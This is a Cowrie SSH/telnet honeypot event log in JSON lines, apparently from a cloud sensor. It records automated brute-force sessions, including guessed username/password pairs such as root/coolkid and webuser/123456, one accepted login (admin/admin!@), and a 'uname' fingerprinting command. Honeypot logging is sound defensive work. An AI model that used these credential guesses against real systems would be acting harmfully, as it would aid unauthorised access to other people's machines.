{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:58.833931Z","src_ip":"128.201.9.152","session":"3dda14b9a0e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coolkid","message":"login attempt [root/coolkid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:59.364482Z","src_ip":"128.201.9.152","session":"3dda14b9a0e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:00.494178Z","src_ip":"128.201.9.152","session":"3dda14b9a0e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47910,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7d13902212a","protocol":"ssh","message":"New connection: 83.168.110.85:47910 (10.17.0.5:22) [session: e7d13902212a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:03.933282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:03.963461Z","src_ip":"83.168.110.85","session":"e7d13902212a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:04.057112Z","src_ip":"83.168.110.85","session":"e7d13902212a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:04.530468Z","src_ip":"83.168.110.85","session":"e7d13902212a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:05.777329Z","src_ip":"83.168.110.85","session":"e7d13902212a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":51380,"dst_ip":"159.203.135.109","dst_port":22,"session":"28cc10edab7b","protocol":"ssh","message":"New connection: 103.82.132.16:51380 (159.203.135.109:22) [session: 28cc10edab7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:06.146212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:06.152765Z","src_ip":"103.82.132.16","session":"28cc10edab7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:06.410277Z","src_ip":"103.82.132.16","session":"28cc10edab7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"selena","message":"login attempt [root/selena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:07.181906Z","src_ip":"103.82.132.16","session":"28cc10edab7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:08.445318Z","src_ip":"103.82.132.16","session":"28cc10edab7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40322,"dst_ip":"10.17.0.5","dst_port":22,"session":"78cf61d389b7","protocol":"ssh","message":"New connection: 83.168.110.85:40322 (10.17.0.5:22) [session: 78cf61d389b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:11.138243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:11.143130Z","src_ip":"83.168.110.85","session":"78cf61d389b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:11.265722Z","src_ip":"83.168.110.85","session":"78cf61d389b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:11.628286Z","src_ip":"83.168.110.85","session":"78cf61d389b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:12.809343Z","src_ip":"83.168.110.85","session":"78cf61d389b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55358,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dbdeb572f15","protocol":"ssh","message":"New connection: 83.168.110.85:55358 (10.17.0.5:22) [session: 7dbdeb572f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:18.237523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:18.337471Z","src_ip":"83.168.110.85","session":"7dbdeb572f15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:18.643505Z","src_ip":"83.168.110.85","session":"7dbdeb572f15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:19.045460Z","src_ip":"83.168.110.85","session":"7dbdeb572f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:20.304572Z","src_ip":"83.168.110.85","session":"7dbdeb572f15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45212,"dst_ip":"10.17.0.5","dst_port":23,"session":"40350bdd21b1","protocol":"telnet","message":"New connection: 152.42.224.71:45212 (10.17.0.5:23) [session: 40350bdd21b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:22.025658Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55980,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a88d4cff0a7","protocol":"ssh","message":"New connection: 83.168.110.85:55980 (10.17.0.5:22) [session: 8a88d4cff0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:25.463909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:25.469559Z","src_ip":"83.168.110.85","session":"8a88d4cff0a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:25.591774Z","src_ip":"83.168.110.85","session":"8a88d4cff0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:25.960019Z","src_ip":"83.168.110.85","session":"8a88d4cff0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:27.229329Z","src_ip":"83.168.110.85","session":"8a88d4cff0a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55988,"dst_ip":"10.17.0.5","dst_port":22,"session":"50f4296281b2","protocol":"ssh","message":"New connection: 83.168.110.85:55988 (10.17.0.5:22) [session: 50f4296281b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:32.263176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:32.268702Z","src_ip":"83.168.110.85","session":"50f4296281b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:32.393772Z","src_ip":"83.168.110.85","session":"50f4296281b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:32.758137Z","src_ip":"83.168.110.85","session":"50f4296281b2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:33.049870Z","src_ip":"83.168.110.85","session":"50f4296281b2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:33.053030Z","src_ip":"83.168.110.85","session":"50f4296281b2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:33.217597Z","src_ip":"83.168.110.85","session":"50f4296281b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:33.222580Z","src_ip":"83.168.110.85","session":"50f4296281b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.03813862800598,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:37.424060Z","src_ip":"35.202.9.133","session":"8c38d3fd1421","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43700,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0bda1519362","protocol":"ssh","message":"New connection: 83.168.110.85:43700 (10.17.0.5:22) [session: d0bda1519362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:39.241209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:39.245467Z","src_ip":"83.168.110.85","session":"d0bda1519362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:39.365834Z","src_ip":"83.168.110.85","session":"d0bda1519362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:39.887531Z","src_ip":"83.168.110.85","session":"d0bda1519362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:41.033153Z","src_ip":"83.168.110.85","session":"d0bda1519362","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47742,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f383a12a876","protocol":"ssh","message":"New connection: 83.168.110.85:47742 (10.17.0.5:22) [session: 1f383a12a876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:46.745444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:11:46.749096Z","src_ip":"83.168.110.85","session":"1f383a12a876","protocol":"ssh"}
